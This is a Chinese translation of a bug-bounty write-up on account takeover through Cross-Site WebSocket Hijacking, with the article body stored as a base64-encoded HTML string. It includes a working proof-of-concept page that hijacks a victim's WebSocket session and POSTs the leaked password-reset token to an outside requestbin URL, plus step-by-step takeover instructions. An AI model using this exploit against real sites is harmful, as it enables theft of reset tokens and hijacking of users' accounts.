利用WebSocket跨站劫持（CSWH）漏洞接管帐户

PGRpdiBjbGFzcz0ic2ltZGl0b3ItYm9keSI+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSIyMi5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzBjYTE3NjE5YWMxOGJlYmE0NjAxNTc0YzdlNGU5ZTY4LzIyLnBuZyIgd2lkdGg9IjQyMSIgLz48YnIvPjwvcD48cD7lnKjkuIDmrKHmvI/mtJ7mgqzotY/mtLvliqjkuK3vvIzmiJHlj5HnjrDkuobkuIDkuKrkvb/nlKhXZWJTb2NrZXTov57mjqXnmoTlupTnlKjvvIzmiYDku6XmiJHmo4Dmn6XkuoZXZWJTb2NrZXQgVVJM77yM5Y+R546w5a6D5b6I5a655piT5Y+X5YiwQ1NXSOeahOaUu+WHu++8iFdlYlNvY2tldOi3qOermeWKq+aMge+8iTwvcD48cD7mnInlhbNDU1dI55qE5pu05aSa6K+m57uG5L+h5oGv77yM5Y+v5Lul6K6/6Zeu5Lul5LiL6ZO+5o6l5LqG6KejPC9wPjxwcmU+aHR0cHM6Ly93d3cuY2hyaXN0aWFuLXNjaG5laWRlci5uZXQvQ3Jvc3NTaXRlV2ViU29ja2V0SGlqYWNraW5nLmh0bWw8L3ByZT48cD7pppblhYjvvIzmiJHku6zlgYforr7kuIDkuKrlupTnlKjmmK/pgJrov4fku6XkuItVUkzlu7rnq4t3ZWJzb2NrZXTov57mjqXnmoQgPGNvZGU+d3NzOi8vd2Vic2l0ZS5jb208L2NvZGU+44CC5YWz5LqO6aqM6K+BVVJM5piv5ZCm5a2Y5ZyoQ1NXSOa8j+a0nuWPr+S7pemBteW+quS7peS4i+atpemqpO+8mjwvcD48b2w+PGxpPjxwPuWcqOa1j+iniOWZqOS4iuaJk+W8gFdlYuW6lOeUqOW5tueZu+W9leOAgjwvcD48L2xpPjxsaT48cD7lnKjmlrDpgInpobnljaHkuK3ovpPlhaU8Y29kZT48YSBocmVmPSJodHRwOi8vd2Vic29ja2V0Lm9yZy9lY2hvLmh0bWwiPmh0dHA6Ly93ZWJzb2NrZXQub3JnL2VjaG8uaHRtbDwvYT48L2NvZGU+77yM6L6T5YWlV2ViU29ja2V0IFVSTOW5tuWNleWHu+KAnOi/nuaOpeKAneOAgjwvcD48L2xpPjxsaT48cD7lu7rnq4vov57mjqXlkI7vvIzkvaDlv4Xpobvog73lpJ/ku47mraTpobXpnaLlkJHmnI3liqHlmajlj5HpgIHmlbDmja7luKfjgILmjqXnnYDvvIzkvb/nlKhidXJwc3VpdGXnmoRwcm94eeaNleiOt3dlYnNvY2tldOaVsOaNruW4p+i/m+ihjOiwg+ivle+8jOWkmuasoeWPkemAge+8jOafpeeci+acjeWKoeWZqOWmguS9leWTjeW6lOOAguWmguaenGJ1cnDnmoTlm57lupTlkoznvZHpobXnmoTlm57lupTkuIDmoLfvvIzliJnooajnpLrnm67moIflvojlj6/og73lrrnmmJPlj5fliLBXZWJTb2NrZXTot6jnq5nliqvmjIHnmoTmlLvlh7s8L3A+PC9saT48L29sPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIGFsdD0iMzMucG5nIiBzcmM9Imh0dHBzOi8vbm9zZWMub3JnL2F2YXRhci91cGxvYWRzL2F0dGFjaC9pbWFnZS82MGZjNzJjOGJjOGUyY2Y0ZjU0ZWVmOWE1MzcwNDJmNy8zMy5wbmciIHdpZHRoPSI3OTAiIC8+PGJyLz48L3A+PHA+6YCa6L+H5Lul5LiK5q2l6aqk77yM5oiR56Gu5a6a5bqU55So5a2Y5ZyoQ1NXSOa8j+a0nuOAgjwvcD48cD7kuIDml6blnKjmlrDpgInpobnljaHkuIrlu7rnq4vkuoZXZWJTb2NrZXTov57mjqXvvIzmiJHlsLHmlLbliLDkuobkuIvpnaLnmoR3ZWJzb2NrZXTlk43lupQ8L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSI0NC5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzA1YmJhZTU3ZTNjYjdmZTNhZDYxZTRiMGFiNTdmNzIxLzQ0LnBuZyIgd2lkdGg9IjcxMSIgLz48YnIvPjwvcD48cD7ku47kuIrov7Dlk43lupTkuK3kvaDlj6/nnIvliLDvvIzlj4LmlbDigJxfZm9yZ290UGFzc3dvcmRJZOKAneeahOWAvOS4uuKAnG51bGzigJ3jgII8L3A+PHA+546w5Zyo5oiR6ZyA6KaB4oCcX2ZvcmdvdFBhc3N3b3JkSWTigJ3lj4LmlbDmnaXlj5HpgIHmgbbmhI/or7fmsYLmnaXph43nva7lr4bnoIHjgII8L3A+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSI1NS5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlLzRmMTQ2OWMwNDRlYmQyODdhNTU1ODdiZWU4ZTQ5Mjk5LzU1LnBuZyIgd2lkdGg9IjcxOSIgLz48YnIvPjwvcD48cD7miJHlho3mrKHmtYvor5XkuoZXZWJzb2NrZXTov57mjqXvvIzov5nmrKHop4Llr5/liLDkuoblpoLkuIvlm57lupTvvIzlroPljIXlkKvkuIDkuKpmb3JnZXRQYXNzd29yZElE5Luk54mMPC9wPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIGFsdD0iNjYucG5nIiBzcmM9Imh0dHBzOi8vbm9zZWMub3JnL2F2YXRhci91cGxvYWRzL2F0dGFjaC9pbWFnZS9iY2FlOGIyMGVmYzE1YmY1ZDUwMDIyYzhkNDBkZjZhMi82Ni5wbmciIHdpZHRoPSI3MTkiIC8+PGJyLz48L3A+PGgyPuWIqeeUqDwvaDI+PHA+546w5Zyo5YeG5aSHQ1NXSOa8j+a0nueahOWIqeeUqOmTvu+8jOmHjee9ruWvhueggeaOpeeuoeW4kOaIt+OAguS7peS4i+eUsUhUTUzku6PnoIHnu4TmiJDnmoRwYXlsb2Fk5Lya5Y+R6YCBWEhS6K+35rGC77yM5bm25oqK5Zue5bqU5a+85ZCR5pS75Ye76ICF5o6n5Yi255qE56uZ54K544CCPC9wPjxwcmU+PCEtLSZuYnNwO1JlZmVyZW5jZSZuYnNwO2h0dHA6Ly93d3cud2Vic29ja2V0Lm9yZy9lY2hvLmh0bWwmbmJzcDstLT4KPCFET0NUWVBFJm5ic3A7aHRtbD4KJm5ic3A7Jm5ic3A7PG1lJm5ic3A7dGEmbmJzcDtjaGFyc2V0PSJ1dGYtOCImbmJzcDsvPgombmJzcDsmbmJzcDs8dGl0bGU+VGVzdGluZzwvdGl0bGU+CiZuYnNwOyZuYnNwOzxzYyZuYnNwO3JpcHQmbmJzcDtsYW5ndWFnZT0iamEmbmJzcDt2YXNjJm5ic3A7cmlwdCImbmJzcDt0eXBlPSJ0ZXh0L2phJm5ic3A7dmFzYyZuYnNwO3JpcHQiPgombmJzcDsmbmJzcDt2YXImbmJzcDt3c1VyaSZuYnNwOz0mbmJzcDsid3NzOi8vaG9zdC5jb20iOwombmJzcDsmbmJzcDt2YXImbmJzcDtvdXRwdXQ7CiZuYnNwOyZuYnNwO2Z1bmN0aW9uJm5ic3A7aW5pdCgpCiZuYnNwOyZuYnNwO3sKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7b3V0cHV0Jm5ic3A7PSZuYnNwO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJvdXRwdXQiKTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7dGVzdFdlYlNvY2tldCgpOwombmJzcDsmbmJzcDt9CiZuYnNwOyZuYnNwO2Z1bmN0aW9uJm5ic3A7dGVzdFdlYlNvY2tldCgpCiZuYnNwOyZuYnNwO3sKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7d2Vic29ja2V0Jm5ic3A7PSZuYnNwO25ldyZuYnNwO1dlYlNvY2tldCh3c1VyaSk7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3dlYnNvY2tldC5vbm9wZW4mbmJzcDs9Jm5ic3A7ZnVuY3Rpb24oZXZ0KSZuYnNwO3smbmJzcDtvbk9wZW4oZXZ0KSZuYnNwO307CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3dlYnNvY2tldC5vbmNsb3NlJm5ic3A7PSZuYnNwO2Z1bmN0aW9uKGV2dCkmbmJzcDt7Jm5ic3A7b25DbG9zZShldnQpJm5ic3A7fTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7d2Vic29ja2V0Lm9ubWVzc2FnZSZuYnNwOz0mbmJzcDtmdW5jdGlvbihldnQpJm5ic3A7eyZuYnNwO29uTWVzc2FnZShldnQpJm5ic3A7fTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7d2Vic29ja2V0Lm9uJm5ic3A7ZXJyb3ImbmJzcDs9Jm5ic3A7ZnVuY3Rpb24oZXZ0KSZuYnNwO3smbmJzcDtvbiZuYnNwO2Vycm9yKGV2dCkmbmJzcDt9OwombmJzcDsmbmJzcDt9CiZuYnNwOyZuYnNwO2Z1bmN0aW9uJm5ic3A7b25PcGVuKGV2dCkKJm5ic3A7Jm5ic3A7ewombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDt3cml0ZVRvU2NyZWVuKCJDT05ORUNURUQiKTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7ZG9TZW5kKCYjMzk7d2Vic29ja2V0Jm5ic3A7ZnImbmJzcDthbWUmbmJzcDsmIzM5Oyk7CiZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7ZnVuY3Rpb24mbmJzcDtvbkNsb3NlKGV2dCkKJm5ic3A7Jm5ic3A7ewombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDt3cml0ZVRvU2NyZWVuKCJESVNDT05ORUNURUQiKTsKJm5ic3A7Jm5ic3A7fQombmJzcDsmbmJzcDtmdW5jdGlvbiZuYnNwO29uTWVzc2FnZShldnQpCiZuYnNwOyZuYnNwO3sKCnZhciZuYnNwO3hociZuYnNwOz0mbmJzcDtuZXcmbmJzcDt4bSZuYnNwO2xIdHRwUmVxdWVzdCgpOwp4aHIub3BlbigiUE9TVCIsJm5ic3A7Imh0dHA6Ly9yZXF1ZXN0YmluLmZ1bGxjb250YWN0LmNvbS8xMTQzbjJ3MSIsJm5ic3A7dHJ1ZSk7Cnhoci5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCZuYnNwOyJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQ7Jm5ic3A7Y2hhcnNldD1VVEYtOCIpOwp4aHIuc2VuZChldnQuZGF0YSk7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3dlYnNvY2tldC5jbG9zZSgpOwombmJzcDsmbmJzcDt9CiZuYnNwOyZuYnNwO2Z1bmN0aW9uJm5ic3A7b24mbmJzcDtlcnJvcihldnQpCiZuYnNwOyZuYnNwO3sKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7d3JpdGVUb1NjcmVlbigmIzM5OzxzcGFuJm5ic3A7c3R5bGU9ImNvbG9yOiZuYnNwO3JlZDsiPkVSUk9SOjwvc3Bhbj4mbmJzcDsmIzM5OyZuYnNwOysmbmJzcDtldnQuZGF0YSk7CiZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7ZnVuY3Rpb24mbmJzcDtkb1NlbmQobWVzc2FnZSkKJm5ic3A7Jm5ic3A7ewombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDt3cml0ZVRvU2NyZWVuKCJTRU5UOiZuYnNwOyImbmJzcDsrJm5ic3A7bWVzc2FnZSk7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3dlYnNvY2tldC5zZW5kKG1lc3NhZ2UpOwombmJzcDsmbmJzcDt9CiZuYnNwOyZuYnNwO2Z1bmN0aW9uJm5ic3A7d3JpdGVUb1NjcmVlbihtZXNzYWdlKQombmJzcDsmbmJzcDt7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3ZhciZuYnNwO3ByZSZuYnNwOz0mbmJzcDtkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJwIik7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3ByZS5zdHlsZS53b3JkV3JhcCZuYnNwOz0mbmJzcDsiYnJlYWstd29yZCI7CiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO3ByZS5pbm5lckhUTUwmbmJzcDs9Jm5ic3A7bWVzc2FnZTsKJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7b3V0cHV0LmFwcGVuZENoaWxkKHByZSk7CiZuYnNwOyZuYnNwO30KJm5ic3A7Jm5ic3A7d2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCZuYnNwO2luaXQsJm5ic3A7ZmFsc2UpOwombmJzcDsmbmJzcDs8L3NjJm5ic3A7cmlwdD4KCiZuYnNwOyZuYnNwOzxoMj5XZWJTb2NrZXQmbmJzcDtUZXN0PC9oMj4KCiZuYnNwOyZuYnNwOzxkaSZuYnNwO3YmbmJzcDtpZD0ib3V0cHV0Ij48L2RpJm5ic3A7dj48L3ByZT48aDI+5pS75Ye75q2l6aqkPC9oMj48b2w+PGxpPuWIqeeUqOKAnOW/mOiusOWvhueggeKAnemhtemdou+8jOWPkemAgeWPl+Wus+iAheW4kOaIt+eahOWvhueggemHjee9ruivt+axgjwvbGk+PGxpPuaJmOeuoeS7peS4imh0bWzliLDlhaznvZHnvZHnq5nkuIrvvIzlubblkJHlj5flrrPogIXlj5HpgIHov5nkuKpVUkzvvIjnsbvkvLzkuo5DU1JG5pS75Ye777yJPC9saT48bGk+5LiA5pem5Y+X5a6z6ICF54K55Ye7VVJM77yM5bCx5Y+v5Lul5Zyo55uR5ZCs5Zmo5LiK5b6X5Yiwd2Vic29ja2V05ZON5bqU77yM5aaC5LiL5Zu+5omA56S6PC9saT48L29sPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIGFsdD0iNzcucG5nIiBzcmM9Imh0dHBzOi8vbm9zZWMub3JnL2F2YXRhci91cGxvYWRzL2F0dGFjaC9pbWFnZS80NWRhODIxMDZhOWJhZTZhYjE3OTNiNDVhZDU2ZmU1Zi83Ny5wbmciIHdpZHRoPSI3OTAiIC8+PGJyLz48L3A+PHA+5oul5pyJ6L+Z5Liq4oCcZm9yZ290UGFzc3dvcmRJROKAneS7pOeJjO+8jOaIkeS7rOWwseWPr+S7pemHjee9ruWPl+Wus+iAheWvhueggeOAgjwvcD48cHJlPuacrOaWh+eUseeZveW4veaxh+aVtOeQhuW5tue/u+ivke+8jOS4jeS7o+ihqOeZveW4veaxh+S7u+S9leingueCueWSjOeri+WcugrmnaXmupDvvJpodHRwczovL21lZGl1bS5jb20vQHNoYXJhbi5wYW5lZ2F2L2FjY291bnQtdGFrZW92ZXItdXNpbmctY3Jvc3Mtc2l0ZS13ZWJzb2NrZXQtaGlqYWNraW5nLWNzd2gtOTljZjljZWE2YzUwPC9wcmU+CiAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOzwvZGl2PjxwPjxici8+PC9wPg==